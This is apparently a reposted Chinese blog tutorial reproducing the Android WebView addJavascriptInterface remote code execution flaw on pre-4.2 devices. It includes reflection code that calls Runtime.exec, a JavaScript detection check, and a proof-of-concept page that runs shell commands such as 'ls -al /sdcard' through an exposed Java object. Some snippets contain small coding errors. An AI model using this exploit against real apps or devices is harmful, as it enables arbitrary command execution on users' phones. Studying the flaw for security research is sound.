webView遠程代碼執行漏洞復現


一.概述

這個漏洞只存在於Android API level 16以及之前的版本,系統沒有限制使用webView.addJavascriptInterface方法,導致攻擊者可以通過使用java 反射API利用該漏洞執行任意java對象的方法,也就是通過addJavascriptInterface給WebView加入一個JavaScript橋接接口,JavaScirpt通過調用這個接口可以直接操作本地的java接口。

要注意的就是安卓的版本低於4.2才行

然后就是要使用webView來加載網頁這樣才能調用js,畢竟是通過js來調用這個java對象方法的

二.漏洞原理

1 webView

這玩意其實就是作為app里面的內置瀏覽器的角色,因為安卓系統的限制,它不允許直接運行系統的瀏覽器,但是又為了

在app中瀏覽網頁,就出了webView這個組件嵌入app中

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">
    <WebView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:id="@+id/web_view"/>

</androidx.constraintlayout.widget.ConstraintLayout>
package com.example.webviewtest;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        WebView webView=(WebView)findViewById(R.id.web_view);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebViewClient(new WebViewClient());
        webView.loadUrl("http://www.baidu.com");
    }
}

這里先獲取一個webView的對象,通過getSetting()方法可以給webView對象設置屬性,這里設置了允許執行js腳本

2.漏洞代碼實際情況

    class JsObject{
            @JavascriptInterface
            public String toString()
            {
                return "injectedObject";
            }
        }
        webView.addJavascriptInterface(new JSONObject(),"injectObject");
        webView.loadData("","text/html",null);
        webView.loadUrl("javascript:alert(injectObject.toString()");

這里就是通過addJavascriptInterface()方法注冊了一個可供js來調用的java對象,后面的js代碼就可以調用和執行這個java對象的代碼。

3.反射機制

反射真是個好東西,可以執行任意對象的任意方法

    Demo demo=new Demo();
        Class mObjectClass=demo.getClass();
        System.out.println(mObjectClass.getName());
        Method[] methods=mObjectClass.getDeclaredMethods();
        for(Method method:methods)
        {
            System.out.println("method = "+method.getName());
        }
        try {
            Class c=mObjectClass.forName("java.lang.Runtime");
            Method m=c.getDeclaredMethod("getRuntime",null);
            System.out.println(c.getName());
            m.setAccessible(true);
            Object obj=m.invoke(null, null);
            Class c2=obj.getClass();
            String array="cmd.exe /k start calc";
            Method n=c2.getMethod("exec",array.getClass()); //返回名稱exec,參數為array類型的方法
            n.invoke(obj, new Object[] {array});
        }catch(Exception e)
        {
            e.printStackTrace();
        }

這波意思是只要有getClass()方法的java對象,那我就可以調用java.lang.Runtime的getRuntime方法返回Runtime后再執行exec方法調用cmd,getshell

4.漏洞檢測

這里就是檢測注冊的java對象中是否有getClass()方法。

js代碼,直接搬的別的師傅的,

function check(){
    for(var obj in window){
        try{
            if("getClass" in window[obj]){
                try{
                    window[obj].getClass();
                    document.write('<span style="color:red">'+obj+'</span>');
                    document.write('<br/>');
                }catch(e){
                    
                }
            }
        }finally{
            
        }
    }    
}
check();  

5.漏洞poc

js代碼

 <script type="text/javascript">
   var i=0;
    function getContents(inputStream)
    {
      var contents = ""+i;
      var b = inputStream.read();
      var i = 1;
      while(b != -1) {
          var bString = String.fromCharCode(b);
          contents += bString;
          contents += "\n"
          b = inputStream.read();
      }
      i=i+1;
      return contents;
     }
    
     function execute(cmdArgs)
     {
      for (var obj in window) {
          console.log(obj);
          if ("getClass" in window[obj]) {
              alert(obj);
              return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
           }
       }
     } 
     
     var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]); 
     document.write(getContents(res.getInputStream()));
</script>

參考鏈接

https://blog.csdn.net/u012195899/article/details/68942725

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM